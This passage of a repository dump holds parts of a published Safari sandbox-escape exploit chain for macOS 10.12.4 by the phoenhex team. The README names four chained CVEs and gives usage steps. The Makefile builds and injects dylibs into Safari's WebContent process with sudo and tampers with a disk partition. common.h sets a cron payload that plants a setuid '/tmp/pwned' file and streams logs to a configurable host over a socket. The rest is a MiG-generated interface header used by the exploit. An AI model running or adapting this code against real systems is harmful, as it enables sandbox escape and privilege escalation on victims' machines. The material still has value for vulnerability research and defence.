517 | 		mach_msg_type_number_t _argument0Offset; /* MiG doesn't use it */
518 | 		mach_msg_type_number_t _argument0Cnt;
519 | 		char _argument0[1024];
520 | 		int32_t _argument1;
521 | 		mach_msg_type_number_t _argument2Cnt;
522 | 		mach_msg_type_number_t _argument3Cnt;
523 | 		mach_vm_offset_t _address;
524 | 		mach_vm_offset_t _context;
525 | 	} __Request___DAServerSessionQueueRequest_t __attribute__((unused));
526 | #ifdef  __MigPackStructs
527 | #pragma pack()
528 | #endif
529 | 
530 | #ifdef  __MigPackStructs
531 | #pragma pack(4)
532 | #endif
533 | 	typedef struct {
534 | 		mach_msg_header_t Head;
535 | 		/* start of the kernel processed data */
536 | 		mach_msg_body_t msgh_body;
537 | 		mach_msg_ool_descriptor_t _response;
538 | 		/* end of the kernel processed data */
539 | 		NDR_record_t NDR;
540 | 		mach_vm_offset_t _address;
541 | 		mach_vm_offset_t _context;
542 | 		int32_t _kind;
543 | 		mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
544 | 		mach_msg_type_number_t _diskCnt;
545 | 		char _disk[1024];
546 | 		mach_msg_type_number_t _responseCnt;
547 | 		int32_t _responseID;
548 | 	} __Request___DAServerSessionQueueResponse_t __attribute__((unused));
549 | #ifdef  __MigPackStructs
550 | #pragma pack()
551 | #endif
552 | 
553 | #ifdef  __MigPackStructs
554 | #pragma pack(4)
555 | #endif
556 | 	typedef struct {
557 | 		mach_msg_header_t Head;
558 | 		/* start of the kernel processed data */
559 | 		mach_msg_body_t msgh_body;
560 | 		mach_msg_ool_descriptor_t _match;
561 | 		mach_msg_ool_descriptor_t _watch;
562 | 		/* end of the kernel processed data */
563 | 		NDR_record_t NDR;
564 | 		mach_vm_offset_t _address;
565 | 		mach_vm_offset_t _context;
566 | 		int32_t _kind;
567 | 		int32_t _order;
568 | 		mach_msg_type_number_t _matchCnt;
569 | 		mach_msg_type_number_t _watchCnt;
570 | 	} __Request___DAServerSessionRegisterCallback_t __attribute__((unused));
571 | #ifdef  __MigPackStructs
572 | #pragma pack()
573 | #endif
574 | 
575 | #ifdef  __MigPackStructs
576 | #pragma pack(4)
577 | #endif
578 | 	typedef struct {
579 | 		mach_msg_header_t Head;
580 | 	} __Request___DAServerSessionRelease_t __attribute__((unused));
581 | #ifdef  __MigPackStructs
582 | #pragma pack()
583 | #endif
584 | 
585 | #ifdef  __MigPackStructs
586 | #pragma pack(4)
587 | #endif
588 | 	typedef struct {
589 | 		mach_msg_header_t Head;
590 | 		NDR_record_t NDR;
591 | 		AuthorizationExternalForm _authorization;
592 | 	} __Request___DAServerSessionSetAuthorization_t __attribute__((unused));
593 | #ifdef  __MigPackStructs
594 | #pragma pack()
595 | #endif
596 | 
597 | #ifdef  __MigPackStructs
598 | #pragma pack(4)
599 | #endif
600 | 	typedef struct {
601 | 		mach_msg_header_t Head;
602 | 		/* start of the kernel processed data */
603 | 		mach_msg_body_t msgh_body;
604 | 		mach_msg_port_descriptor_t _client;
605 | 		/* end of the kernel processed data */
606 | 	} __Request___DAServerSessionSetClientPort_t __attribute__((unused));
607 | #ifdef  __MigPackStructs
608 | #pragma pack()
609 | #endif
610 | 
611 | #ifdef  __MigPackStructs
612 | #pragma pack(4)
613 | #endif
614 | 	typedef struct {
615 | 		mach_msg_header_t Head;
616 | 		NDR_record_t NDR;
617 | 		mach_vm_offset_t _address;
618 | 		mach_vm_offset_t _context;
619 | 	} __Request___DAServerSessionUnregisterCallback_t __attribute__((unused));
620 | #ifdef  __MigPackStructs
621 | #pragma pack()
622 | #endif
623 | 
624 | #ifdef  __MigPackStructs
625 | #pragma pack(4)
626 | #endif
627 | 	typedef struct {
628 | 		mach_msg_header_t Head;
629 | 		NDR_record_t NDR;
630 | 		mach_msg_type_number_t _pathOffset; /* MiG doesn't use it */
631 | 		mach_msg_type_number_t _pathCnt;
632 | 		char _path[4096];
633 | 	} __Request___DAServermkdir_t __attribute__((unused));
634 | #ifdef  __MigPackStructs
635 | #pragma pack()
636 | #endif
637 | #endif /* !__Request__DAServer_subsystem__defined */
638 | 
639 | /* union of all requests */
640 | 
641 | #ifndef __RequestUnion__DAServer_subsystem__defined
642 | #define __RequestUnion__DAServer_subsystem__defined
643 | union __RequestUnion__DAServer_subsystem {
644 | 	__Request___DAServerDiskCopyDescription_t Request__DAServerDiskCopyDescription;
645 | 	__Request___DAServerDiskGetOptions_t Request__DAServerDiskGetOptions;
646 | 	__Request___DAServerDiskGetUserUID_t Request__DAServerDiskGetUserUID;
647 | 	__Request___DAServerDiskIsClaimed_t Request__DAServerDiskIsClaimed;
648 | 	__Request___DAServerDiskSetAdoption_t Request__DAServerDiskSetAdoption;
649 | 	__Request___DAServerDiskSetEncoding_t Request__DAServerDiskSetEncoding;
650 | 	__Request___DAServerDiskSetOptions_t Request__DAServerDiskSetOptions;
651 | 	__Request___DAServerDiskUnclaim_t Request__DAServerDiskUnclaim;
652 | 	__Request___DAServerSessionCopyCallbackQueue_t Request__DAServerSessionCopyCallbackQueue;
653 | 	__Request___DAServerSessionCreate_t Request__DAServerSessionCreate;
654 | 	__Request___DAServerSessionQueueRequest_t Request__DAServerSessionQueueRequest;
655 | 	__Request___DAServerSessionQueueResponse_t Request__DAServerSessionQueueResponse;
656 | 	__Request___DAServerSessionRegisterCallback_t Request__DAServerSessionRegisterCallback;
657 | 	__Request___DAServerSessionRelease_t Request__DAServerSessionRelease;
658 | 	__Request___DAServerSessionSetAuthorization_t Request__DAServerSessionSetAuthorization;
659 | 	__Request___DAServerSessionSetClientPort_t Request__DAServerSessionSetClientPort;
660 | 	__Request___DAServerSessionUnregisterCallback_t Request__DAServerSessionUnregisterCallback;
661 | 	__Request___DAServermkdir_t Request__DAServermkdir;
662 | };
663 | #endif /* !__RequestUnion__DAServer_subsystem__defined */
664 | /* typedefs for all replies */
665 | 
666 | #ifndef __Reply__DAServer_subsystem__defined
667 | #define __Reply__DAServer_subsystem__defined
668 | 
669 | #ifdef  __MigPackStructs
670 | #pragma pack(4)
671 | #endif
672 | 	typedef struct {
673 | 		mach_msg_header_t Head;
674 | 		/* start of the kernel processed data */
675 | 		mach_msg_body_t msgh_body;
676 | 		mach_msg_ool_descriptor_t _description;
677 | 		/* end of the kernel processed data */
678 | 		NDR_record_t NDR;
679 | 		mach_msg_type_number_t _descriptionCnt;
680 | 	} __Reply___DAServerDiskCopyDescription_t __attribute__((unused));
681 | #ifdef  __MigPackStructs
682 | #pragma pack()
683 | #endif
684 | 
685 | #ifdef  __MigPackStructs
686 | #pragma pack(4)
687 | #endif
688 | 	typedef struct {
689 | 		mach_msg_header_t Head;
690 | 		NDR_record_t NDR;
691 | 		kern_return_t RetCode;
692 | 		int32_t _options;
693 | 	} __Reply___DAServerDiskGetOptions_t __attribute__((unused));
694 | #ifdef  __MigPackStructs
695 | #pragma pack()
696 | #endif
697 | 
698 | #ifdef  __MigPackStructs
699 | #pragma pack(4)
700 | #endif
701 | 	typedef struct {
702 | 		mach_msg_header_t Head;
703 | 		NDR_record_t NDR;
704 | 		kern_return_t RetCode;
705 | 		uid_t _userUID;
706 | 	} __Reply___DAServerDiskGetUserUID_t __attribute__((unused));
707 | #ifdef  __MigPackStructs
708 | #pragma pack()
709 | #endif
710 | 
711 | #ifdef  __MigPackStructs
712 | #pragma pack(4)
713 | #endif
714 | 	typedef struct {
715 | 		mach_msg_header_t Head;
716 | 		NDR_record_t NDR;
717 | 		kern_return_t RetCode;
718 | 		boolean_t _claimed;
719 | 	} __Reply___DAServerDiskIsClaimed_t __attribute__((unused));
720 | #ifdef  __MigPackStructs
721 | #pragma pack()
722 | #endif
723 | 
724 | #ifdef  __MigPackStructs
725 | #pragma pack(4)
726 | #endif
727 | 	typedef struct {
728 | 		mach_msg_header_t Head;
729 | 		NDR_record_t NDR;
730 | 		kern_return_t RetCode;
731 | 	} __Reply___DAServerDiskSetAdoption_t __attribute__((unused));
732 | #ifdef  __MigPackStructs
733 | #pragma pack()
734 | #endif
735 | 
736 | #ifdef  __MigPackStructs
737 | #pragma pack(4)
738 | #endif
739 | 	typedef struct {
740 | 		mach_msg_header_t Head;
741 | 		NDR_record_t NDR;
742 | 		kern_return_t RetCode;
743 | 	} __Reply___DAServerDiskSetEncoding_t __attribute__((unused));
744 | #ifdef  __MigPackStructs
745 | #pragma pack()
746 | #endif
747 | 
748 | #ifdef  __MigPackStructs
749 | #pragma pack(4)
750 | #endif
751 | 	typedef struct {
752 | 		mach_msg_header_t Head;
753 | 		NDR_record_t NDR;
754 | 		kern_return_t RetCode;
755 | 	} __Reply___DAServerDiskSetOptions_t __attribute__((unused));
756 | #ifdef  __MigPackStructs
757 | #pragma pack()
758 | #endif
759 | 
760 | #ifdef  __MigPackStructs
761 | #pragma pack(4)
762 | #endif
763 | 	typedef struct {
764 | 		mach_msg_header_t Head;
765 | 		NDR_record_t NDR;
766 | 		kern_return_t RetCode;
767 | 	} __Reply___DAServerDiskUnclaim_t __attribute__((unused));
768 | #ifdef  __MigPackStructs
769 | #pragma pack()
770 | #endif
771 | 
772 | #ifdef  __MigPackStructs
773 | #pragma pack(4)
774 | #endif
775 | 	typedef struct {
776 | 		mach_msg_header_t Head;
777 | 		/* start of the kernel processed data */
778 | 		mach_msg_body_t msgh_body;
779 | 		mach_msg_ool_descriptor_t _queue;
780 | 		/* end of the kernel processed data */
781 | 		NDR_record_t NDR;
782 | 		mach_msg_type_number_t _queueCnt;
783 | 	} __Reply___DAServerSessionCopyCallbackQueue_t __attribute__((unused));
784 | #ifdef  __MigPackStructs
785 | #pragma pack()
786 | #endif
787 | 
788 | #ifdef  __MigPackStructs
789 | #pragma pack(4)
790 | #endif
791 | 	typedef struct {
792 | 		mach_msg_header_t Head;
793 | 		/* start of the kernel processed data */
794 | 		mach_msg_body_t msgh_body;
795 | 		mach_msg_port_descriptor_t _server;
796 | 		/* end of the kernel processed data */
797 | 	} __Reply___DAServerSessionCreate_t __attribute__((unused));
798 | #ifdef  __MigPackStructs
799 | #pragma pack()
800 | #endif
801 | 
802 | #ifdef  __MigPackStructs
803 | #pragma pack(4)
804 | #endif
805 | 	typedef struct {
806 | 		mach_msg_header_t Head;
807 | 		NDR_record_t NDR;
808 | 		kern_return_t RetCode;
809 | 	} __Reply___DAServerSessionQueueRequest_t __attribute__((unused));
810 | #ifdef  __MigPackStructs
811 | #pragma pack()
812 | #endif
813 | 
814 | #ifdef  __MigPackStructs
815 | #pragma pack(4)
816 | #endif
817 | 	typedef struct {
818 | 		mach_msg_header_t Head;
819 | 		NDR_record_t NDR;
820 | 		kern_return_t RetCode;
821 | 	} __Reply___DAServerSessionQueueResponse_t __attribute__((unused));
822 | #ifdef  __MigPackStructs
823 | #pragma pack()
824 | #endif
825 | 
826 | #ifdef  __MigPackStructs
827 | #pragma pack(4)
828 | #endif
829 | 	typedef struct {
830 | 		mach_msg_header_t Head;
831 | 		NDR_record_t NDR;
832 | 		kern_return_t RetCode;
833 | 	} __Reply___DAServerSessionRegisterCallback_t __attribute__((unused));
834 | #ifdef  __MigPackStructs
835 | #pragma pack()
836 | #endif
837 | 
838 | #ifdef  __MigPackStructs
839 | #pragma pack(4)
840 | #endif
841 | 	typedef struct {
842 | 		mach_msg_header_t Head;
843 | 		NDR_record_t NDR;
844 | 		kern_return_t RetCode;
845 | 	} __Reply___DAServerSessionRelease_t __attribute__((unused));
846 | #ifdef  __MigPackStructs
847 | #pragma pack()
848 | #endif
849 | 
850 | #ifdef  __MigPackStructs
851 | #pragma pack(4)
852 | #endif
853 | 	typedef struct {
854 | 		mach_msg_header_t Head;
855 | 		NDR_record_t NDR;
856 | 		kern_return_t RetCode;
857 | 	} __Reply___DAServerSessionSetAuthorization_t __attribute__((unused));
858 | #ifdef  __MigPackStructs
859 | #pragma pack()
860 | #endif
861 | 
862 | #ifdef  __MigPackStructs
863 | #pragma pack(4)
864 | #endif
865 | 	typedef struct {
866 | 		mach_msg_header_t Head;
867 | 		NDR_record_t NDR;
868 | 		kern_return_t RetCode;
869 | 	} __Reply___DAServerSessionSetClientPort_t __attribute__((unused));
870 | #ifdef  __MigPackStructs
871 | #pragma pack()
872 | #endif
873 | 
874 | #ifdef  __MigPackStructs
875 | #pragma pack(4)
876 | #endif
877 | 	typedef struct {
878 | 		mach_msg_header_t Head;
879 | 		NDR_record_t NDR;
880 | 		kern_return_t RetCode;
881 | 	} __Reply___DAServerSessionUnregisterCallback_t __attribute__((unused));
882 | #ifdef  __MigPackStructs
883 | #pragma pack()
884 | #endif
885 | 
886 | #ifdef  __MigPackStructs
887 | #pragma pack(4)
888 | #endif
889 | 	typedef struct {
890 | 		mach_msg_header_t Head;
891 | 		NDR_record_t NDR;
892 | 		kern_return_t RetCode;
893 | 	} __Reply___DAServermkdir_t __attribute__((unused));
894 | #ifdef  __MigPackStructs
895 | #pragma pack()
896 | #endif
897 | #endif /* !__Reply__DAServer_subsystem__defined */
898 | 
899 | /* union of all replies */
900 | 
901 | #ifndef __ReplyUnion__DAServer_subsystem__defined
902 | #define __ReplyUnion__DAServer_subsystem__defined
903 | union __ReplyUnion__DAServer_subsystem {
904 | 	__Reply___DAServerDiskCopyDescription_t Reply__DAServerDiskCopyDescription;
905 | 	__Reply___DAServerDiskGetOptions_t Reply__DAServerDiskGetOptions;
906 | 	__Reply___DAServerDiskGetUserUID_t Reply__DAServerDiskGetUserUID;
907 | 	__Reply___DAServerDiskIsClaimed_t Reply__DAServerDiskIsClaimed;
908 | 	__Reply___DAServerDiskSetAdoption_t Reply__DAServerDiskSetAdoption;
909 | 	__Reply___DAServerDiskSetEncoding_t Reply__DAServerDiskSetEncoding;
910 | 	__Reply___DAServerDiskSetOptions_t Reply__DAServerDiskSetOptions;
911 | 	__Reply___DAServerDiskUnclaim_t Reply__DAServerDiskUnclaim;
912 | 	__Reply___DAServerSessionCopyCallbackQueue_t Reply__DAServerSessionCopyCallbackQueue;
913 | 	__Reply___DAServerSessionCreate_t Reply__DAServerSessionCreate;
914 | 	__Reply___DAServerSessionQueueRequest_t Reply__DAServerSessionQueueRequest;
915 | 	__Reply___DAServerSessionQueueResponse_t Reply__DAServerSessionQueueResponse;
916 | 	__Reply___DAServerSessionRegisterCallback_t Reply__DAServerSessionRegisterCallback;
917 | 	__Reply___DAServerSessionRelease_t Reply__DAServerSessionRelease;
918 | 	__Reply___DAServerSessionSetAuthorization_t Reply__DAServerSessionSetAuthorization;
919 | 	__Reply___DAServerSessionSetClientPort_t Reply__DAServerSessionSetClientPort;
920 | 	__Reply___DAServerSessionUnregisterCallback_t Reply__DAServerSessionUnregisterCallback;
921 | 	__Reply___DAServermkdir_t Reply__DAServermkdir;
922 | };
923 | #endif /* !__RequestUnion__DAServer_subsystem__defined */
924 | 
925 | #ifndef subsystem_to_name_map_DAServer
926 | #define subsystem_to_name_map_DAServer \
927 |     { "_DAServerDiskCopyDescription", 0 },\
928 |     { "_DAServerDiskGetOptions", 1 },\
929 |     { "_DAServerDiskGetUserUID", 2 },\
930 |     { "_DAServerDiskIsClaimed", 3 },\
931 |     { "_DAServerDiskSetAdoption", 4 },\
932 |     { "_DAServerDiskSetEncoding", 5 },\
933 |     { "_DAServerDiskSetOptions", 6 },\
934 |     { "_DAServerDiskUnclaim", 7 },\
935 |     { "_DAServerSessionCopyCallbackQueue", 8 },\
936 |     { "_DAServerSessionCreate", 9 },\
937 |     { "_DAServerSessionQueueRequest", 10 },\
938 |     { "_DAServerSessionQueueResponse", 11 },\
939 |     { "_DAServerSessionRegisterCallback", 12 },\
940 |     { "_DAServerSessionRelease", 13 },\
941 |     { "_DAServerSessionSetAuthorization", 14 },\
942 |     { "_DAServerSessionSetClientPort", 15 },\
943 |     { "_DAServerSessionUnregisterCallback", 16 },\
944 |     { "_DAServermkdir", 17 }
945 | #endif
946 | 
947 | #ifdef __AfterMigUserHeader
948 | __AfterMigUserHeader
949 | #endif /* __AfterMigUserHeader */
950 | 
951 | #endif	 /* _DAServer_user_ */
952 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/LICENSE:
--------------------------------------------------------------------------------
 1 | Copyright (c) 2017, Niklas Baumstark
 2 | All rights reserved.
 3 | 
 4 | Redistribution and use in source and binary forms, with or without
 5 | modification, are permitted provided that the following conditions are met:
 6 | 
 7 | 1. Redistributions of source code must retain the above copyright notice, this
 8 |    list of conditions and the following disclaimer.
 9 | 2. Redistributions in binary form must reproduce the above copyright notice,
10 |    this list of conditions and the following disclaimer in the documentation
11 |    and/or other materials provided with the distribution.
12 | 
13 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
14 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
15 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
16 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
17 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
18 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
19 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
20 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
21 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
22 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
23 | 
24 | The views and conclusions contained in the software and documentation are those
25 | of the authors and should not be interpreted as representing official policies,
26 | either expressed or implied, of the FreeBSD Project.
27 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/Makefile:
--------------------------------------------------------------------------------
 1 | #LIBPATH = /System/Library/
 2 | LIBPATH = `python -c 'import os; print(os.confstr(65538))'`/com.apple.WebKit.WebContent+com.apple.Safari/
 3 | TARGET1 = `python -c 'import os; print(os.confstr(65538))'`/com.apple.WebKit.WebContent+com.apple.Safari/com.apple.speech.speechsynthesisd
 4 | TARGET2 = `python -c 'import os; print(os.confstr(65538))'`/com.apple.speech.speechsynthesisd
 5 | 
 6 | .PHONY: all inject inject_test restart_ssd reset clean
 7 | all: injector webcontent.dylib
 8 | 
 9 | # Commands
10 | inject: injector webcontent.dylib
11 | 	@[ ! -e /cores/log_webcontent_* ] || \
12 | 	  	(echo /cores/log_webcontent_XXX exists. you should run make reset first; exit 1)
13 | 	sudo cp webcontent.dylib $(LIBPATH)/webcontent.dylib
14 | 	sudo chmod 755 $(LIBPATH)/webcontent.dylib
15 | 	./inject_with_log_server.sh `pgrep WebContent | tail -n 1` $(LIBPATH)/webcontent.dylib
16 | 
17 | inject_test: injector test.dylib
18 | 	sudo cp test.dylib $(LIBPATH)/test.dylib
19 | 	sudo chmod 755 $(LIBPATH)/test.dylib
20 | 	./inject_with_log_server.sh `pgrep WebContent | tail -n 1` $(LIBPATH)/test.dylib
21 | 
22 | restart_ssd:
23 | 	killall -9 com.apple.speech.speechsynthesisd || true
24 | 	swift restart_ssd.swift
25 | 	pgrep speechsynthesisd
26 | 
27 | reset: restart_ssd
28 | 	sudo umount -f /dev/disk0s1 || true
29 | 	mkdir -p /tmp/mnt
30 | 	diskutil mount -mountPoint /tmp/mnt /dev/disk0s1
31 | 	rm -f /tmp/mnt/root
32 | 	diskutil umount /dev/disk0s1
33 | 	#rm -rf $(TARGET1)
34 | 	#rm -rf $(TARGET2)
35 | 	rm -rf /cores/log_{webcontent,ssd1,ssd2}_*
36 | 	for p in `pgrep WebContent`; do kill -9 $$p; done || true
37 | 
38 | # Build products
39 | injector: injector.c
40 | 	clang -o $@ $<
41 | 
42 | bundle/%.plist.gen.h: bundle/%.plist
43 | 	xxd -i $< $@
44 | 
45 | %.dylib.gen.h: %.dylib
46 | 	xxd -i $< $@
47 | 
48 | test.dylib: test.c
49 | 	clang -shared $< -o $@ -framework CoreFoundation -framework Security
50 | 
51 | webcontent.dylib: webcontent.c bundle/Info.plist.gen.h bundle/version.plist.gen.h \
52 |   			ssd1.dylib.gen.h ssd2.dylib.gen.h common.h
53 | 	clang -shared $< DAServerUser.c -o $@ -framework CoreFoundation -framework Security
54 | 
55 | ssd1.dylib: ssd1.c common.h
56 | 	clang -shared $< -o $@ -framework Security -framework CoreFoundation
57 | 
58 | ssd2.dylib: ssd2.c common.h
59 | 	clang -shared $< -o $@ -framework Security -framework CoreFoundation
60 | 
61 | clean:
62 | 	rm -f *.dylib *.o injector
63 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/README.md:
--------------------------------------------------------------------------------
 1 | Exploit using following bugs to escape Safari sandbox:
 2 | 
 3 | * CVE-2017-2533: TOCTOU in diskarbitrationd
 4 | * CVE-2017-2535: PID reuse logic bug in authd
 5 | * CVE-2017-2534: Arbitrary dylib loading in speechsynthesisd
 6 | * CVE-2017-6977: NULL ptr dereference in nsurlstoraged
 7 | 
 8 | by phoenhex team (niklasb & saelo)
 9 | 
10 | 
11 | ## How to use
12 | 
13 | 1. Get a vulnerable macOS 10.12.4 system with a FAT32 partition called `/dev/disk0s1`
14 | 2. Back up the contents of `/dev/disk0s1`
15 | 3. Start Safari
16 | 4. `make reset`
17 | 5. `make inject`
18 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/bundle/Info.plist:
--------------------------------------------------------------------------------
 1 | 
 2 | 
 3 | 
 4 | 
 5 | 	BuildMachineOSBuild
 6 | 	16C31b
 7 | 	CFBundleDevelopmentRegion
 8 | 	English
 9 | 	CFBundleExecutable
10 | 	MacinTalk
11 | 	CFBundleIdentifier
12 | 	com.apple.speech.synthesis.MacinTalkSynthesizer
13 | 	CFBundleInfoDictionaryVersion
14 | 	6.0
15 | 	CFBundleName
16 | 	MacinTalk
17 | 	CFBundlePackageType
18 | 	BNDL
19 | 	CFBundleShortVersionString
20 | 	6.3.3
21 | 	CFBundleSignature
22 | 	????
23 | 	CFBundleSupportedPlatforms
24 | 	
25 | 		MacOSX
26 | 	
27 | 	CFBundleVersion
28 | 	6.3.3
29 | 	DTCompiler
30 | 	com.apple.compilers.llvm.clang.1_0
31 | 	DTPlatformBuild
32 | 	8R174l
33 | 	DTPlatformVersion
34 | 	GM
35 | 	DTSDKBuild
36 | 	16C31b
37 | 	DTSDKName
38 | 	macosx10.12internal
39 | 	DTXcode
40 | 	0800
41 | 	DTXcodeBuild
42 | 	8R174l
43 | 	SpeechEngineTypeArray
44 | 	
45 | 		926102321
46 | 		1818583411
47 | 		1936485230
48 | 	
49 | 
50 | 
51 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/bundle/version.plist:
--------------------------------------------------------------------------------
 1 | 
 2 | 
 3 | 
 4 | 
 5 | 	BuildAliasOf
 6 | 	SpeechSynthesis
 7 | 	BuildVersion
 8 | 	2
 9 | 	CFBundleShortVersionString
10 | 	6.3.3
11 | 	CFBundleVersion
12 | 	6.3.3
13 | 	ProjectName
14 | 	SpeechSynthesis_MacInTalk
15 | 	SourceVersion
16 | 	6003003000000
17 | 
18 | 
19 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/common.h:
--------------------------------------------------------------------------------
  1 | #pragma once
  2 | 
  3 | #include 
  4 | #include 
  5 | #include 
  6 | #include 
  7 | 
  8 | #define log addasdasd
  9 | 
 10 | #define A0 "CONFIG"
 11 | #define A1 A0 A0
 12 | #define A2 A1 A1
 13 | #define A3 A2 A2
 14 | #define A4 A3 A3
 15 | #define A5 A4 A4
 16 | #define A6 A5 A5
 17 | #define A7 A6 A6
 18 | #define A8 A7 A7
 19 | 
 20 | // This can be left as is for default, or patched up to change config
 21 | // Format: cronrule "\0" log_host "\0" log_port "\0"
 22 | const char config[] = "PUTHERE" A8;
 23 | 
 24 | const char* cronrule = "* * * * * touch /tmp/pwned; chmod 4755 /tmp/pwned";
 25 | const char* log_host = "127.0.0.1";
 26 | int log_port = 1337;
 27 | bool debug_mode = false;
 28 | 
 29 | const char* svc_name;
 30 | 
 31 | long long microsecs() {
 32 |   struct timeval tv;
 33 |   gettimeofday(&tv, 0);
 34 |   return 1000000ll * tv.tv_sec + tv.tv_usec;
 35 | }
 36 | 
 37 | int log_fd = 0, log_socket = 0;
 38 | long long init_time;
 39 | 
 40 | void writeall(int fd, const unsigned char* buf, size_t sz, bool need) {
 41 |   while (sz > 0) {
 42 |     size_t tx = write(fd, buf, sz);
 43 |     if (tx <= 0 && (need || debug_mode)) abort();
 44 |     sz -= tx;
 45 |     buf += tx;
 46 |   }
 47 | }
 48 | 
 49 | void readall(int fd, char* buf, size_t size, bool need) {
 50 |   while(size) {
 51 |     int tx = read(fd, buf, size);
 52 |     if (tx <= 0 && (need || debug_mode)) abort();
 53 |     buf += tx;
 54 |     size -= tx;
 55 |   }
 56 | }
 57 | 
 58 | 
 59 | void log(const char* fmt, ...) {
 60 |   char buf[1024] = {0};
 61 | 
 62 |   long long t = microsecs() - init_time;
 63 |   snprintf(buf, sizeof buf, "[%04lld.%03lld %.4s] ",
 64 |       t / 1000000, (t % 1000000) / 1000, svc_name);
 65 |   if (log_fd) writeall(log_fd, (unsigned char*)buf, strlen(buf), false);
 66 |   if (log_socket) {
 67 |     writeall(log_socket, (unsigned char*)svc_name, strlen(svc_name), false);
 68 |     writeall(log_socket, (unsigned char*)":", 1, false);
 69 |   }
 70 | 
 71 |   va_list args;
 72 |   va_start(args, fmt);
 73 |   vsnprintf(buf, sizeof buf, fmt, args);
 74 |   va_end(args);
 75 | 
 76 |   if (log_fd) writeall(log_fd, (unsigned char*)buf, strlen(buf), false);
 77 |   if (log_socket) writeall(log_socket, (unsigned char*)buf, strlen(buf), false);
 78 | }
 79 | 
 80 | void log_config() {
 81 |   log("Using config: log_host = %s, log_port = %d, debug_mode = %s\n",
 82 |       log_host, log_port, debug_mode?"on":"off");
 83 | }
 84 | 
 85 | void parse_config() {
 86 |   const char* ptr = config;
 87 |   // check if config was patched in
 88 |   if (strncmp(ptr, "CONFIG", 6)) {
 89 |     cronrule = ptr;
 90 |     while(*ptr) ++ptr;
 91 |     ++ptr;
 92 | 
 93 |     log_host = ptr;
 94 |     while(*ptr) ++ptr;
 95 |     ++ptr;
 96 | 
 97 |     log_port = atoi(ptr);
 98 |     while(*ptr) ++ptr;
 99 |     ++ptr;
100 | 
101 |     debug_mode = !!atoi(ptr);
102 |   }
103 |   log_config();
104 | }
105 | 
106 | void init(const char* svc) {
107 |   init_time = microsecs();
108 |   svc_name = svc;
109 | 
110 |   char log_file[1024];
111 |   snprintf(log_file, sizeof log_file - 1,
112 |       "/cores/log_%s_pid_%d_time_%lld",
113 |       svc, getpid(), init_time / 1000000);
114 | 
115 |   log_fd = open(log_file, O_CREAT|O_TRUNC|O_WRONLY, 0644);
116 |   if (log_fd < 0)
117 |     log_fd = 0;
118 | 
119 |   parse_config();
120 | 
121 |   int sockfd;
122 |   if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
123 |     log("Error while connecting to logging socket: socket() failed: %s\n",
124 |           strerror(errno));
125 |     goto finish;
126 |   }
127 | 
128 |   struct sockaddr_in server_addr;
129 |   bzero(&server_addr, sizeof(server_addr));
130 |   server_addr.sin_family = AF_INET;
131 |   server_addr.sin_port = htons(log_port);
132 | 
133 |   inet_pton(AF_INET, log_host, &server_addr.sin_addr);
134 | 
135 |   if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
136 |     log("Error while connecting to logging socket: connect() failed: %s\n",
137 |           strerror(errno));
138 |     goto finish;
139 |   }
140 |   log_socket = sockfd;
141 | 
142 | finish:
143 |   log("Logging initialized for %s\n", svc);
144 |   log_config();
145 | }
146 | 
147 | void write_file(const char* fname, const void* buf, size_t size) {
148 |   int f = open(fname, O_CREAT|O_TRUNC|O_WRONLY, 0777);
149 |   writeall(f, buf, size, true);
150 |   close(f);
151 | }
152 | 
153 | void write_marker(const char* fname) {
154 |   write_file(fname, "1337", 4);
155 | }
156 | 
157 | void msleep(uint64_t millisecs) {
158 |   struct timespec t;
159 |   t.tv_sec = millisecs / 1000;
160 |   t.tv_nsec = millisecs % 1000 * 1000000;
161 |   nanosleep(&t, 0);
162 | }
163 | 
164 | int wait_for_file(const char* fname) {
165 |   int f;
166 |   while((f = open(fname, 0, 0)) < 0)
167 |     msleep(50);
168 |   return f;
169 | }
170 | 
171 | void wait_for_dir(const char* fname) {
172 |   int f;
173 |   while (0 > (f = open(fname, O_DIRECTORY)))
174 |     msleep(50);
175 |   close(f);
176 | }
177 | 
178 | void wait_for_file_to_disappear(const char* fname) {
179 |   int f;
180 |   while((f = open(fname, 0, 0)) >= 0) {
181 |     close(f);
182 |     msleep(50);
183 |   }
184 | }
185 | 
186 | // TODO don't fail in production!!!!!!!!!11
187 | void assert_fail(const char* msg, const char* file, int line) {
188 |   char buf[1024];
189 |   snprintf(buf, sizeof buf - 1, "Assert failed: %s at %s:%d", msg, file, line);
190 |   log(buf);
191 |   if (debug_mode) {
192 |     sleep(2);
193 |     abort();
194 |   }
195 | }
196 | 
197 | #undef assert
198 | #define assert(EX) (void)((EX) || (assert_fail (#EX, __FILE__, __LINE__),0))
199 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/inject_with_log_server.sh:
--------------------------------------------------------------------------------
 1 | #!/bin/bash
 2 | if [[ $# != 2 ]]; then
 3 | 	echo >&2 "Usage: $0 PID DYLIB"
 4 | 	exit 1
 5 | fi
 6 | 
 7 | PID="$1"
 8 | DYLIB="$2"
 9 | 
10 | set -m
11 | python2 log_server.py &
12 | err=0
13 | sleep 1
14 | sudo ./injector $PID $DYLIB || err=1
